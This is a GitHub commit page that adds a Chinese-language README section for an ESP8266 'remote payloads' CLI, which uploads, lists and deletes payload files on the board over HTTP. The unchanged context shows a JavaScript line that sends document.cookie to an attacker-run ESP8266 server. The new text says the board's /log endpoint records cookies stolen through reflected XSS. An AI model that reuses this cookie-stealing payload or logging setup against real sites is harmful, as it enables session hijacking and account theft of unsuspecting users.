Skip to content

Commit

Permalink
add cli
Browse files Browse the repository at this point in the history
  • Loading branch information
wangqinghua committed Jun 9, 2021
1 parent e5b4205 commit 8eeb755
Show file tree
Hide file tree
Showing 3 changed files with 47 additions and 0 deletions.
47 changes: 47 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -50,3 +50,50 @@ img.src = 'http://192.168.1.103/logs?cookie='+encodeURIComponent(document.cookie
//将192.168.1.103换成你esp8266服务器的地址
```

# ESP8266-remote-payloads-cli

分为两个文件:

- remote_payloads_cli.ino
- remote_payloads_cli.py

其中remote_payloads_cli.ino在上传到esp8266之前,需要配置好用户名、密码和wifi基本信息(当然,你也可以修改端口等信息,只要你清楚自己在做什么就行),如下

![config.png](./img/config.png)

上传完成之后即可用remote_payload_cli.py连接(可被重命名,记得赋予可执行权限),以下为`remote_payload_cli.py -h`的输出内容:

```
usage: remote_payloads_cli.py [-h][-r <url:post>][-u <username>][-p <password>]
description:
remotely connect to your esp8266 standby with a fake shell.
shell commands:
Command Description Example
help show helpful information help
ls list dir ls /payloads
up upload local file to esp8266 up ~/Desktop/something.js /payloads/other.js
cat show content of a file cat /payloads/logs
rm remove file or dir (file)rm /payloads/logs
(dir)rm /payloads/
```

示例:

![example.png](./img/example.png)

也可以如下方式连接(password都是没有回显的):

![example-1.png](./img/example-1.png)

需要注意的几点:

- 该cli连接方式其实是HTTP连接(命令大部分是POST请求),但不用担心密码泄漏问题(数据和cookie会被中间人劫持,毕竟不是HTTPS协议),其中加密逻辑请各位大佬看看,如若不妥,还请大佬能够指出不当之处!
- 同一个esp8266只允许一个客户端接入(你也可以修改,但比较麻烦),即每次只有一个cookie有效,使用`exit`命令‘正常’结束会话后,cookie当即失效
- url格式为"http://[ip|domain]:port",末尾**没有**"/"!若端口为80端口,则可忽略
- `rm /filePath/fileName`将删除filePath下fileName文件,而`rm /filePath/`将删除**整个filePath目录及目录下所有文件**`rm /`则相当于清空内存
-`http://[ip|domain]:port/log`发送的请求,将会被esp8266记录下来,默认追加在`/payloads/logs`文件,这可用于反射型XSS漏洞获取cookie





Binary file added img/example-1.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/example.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 8eeb755

Please sign in to comment.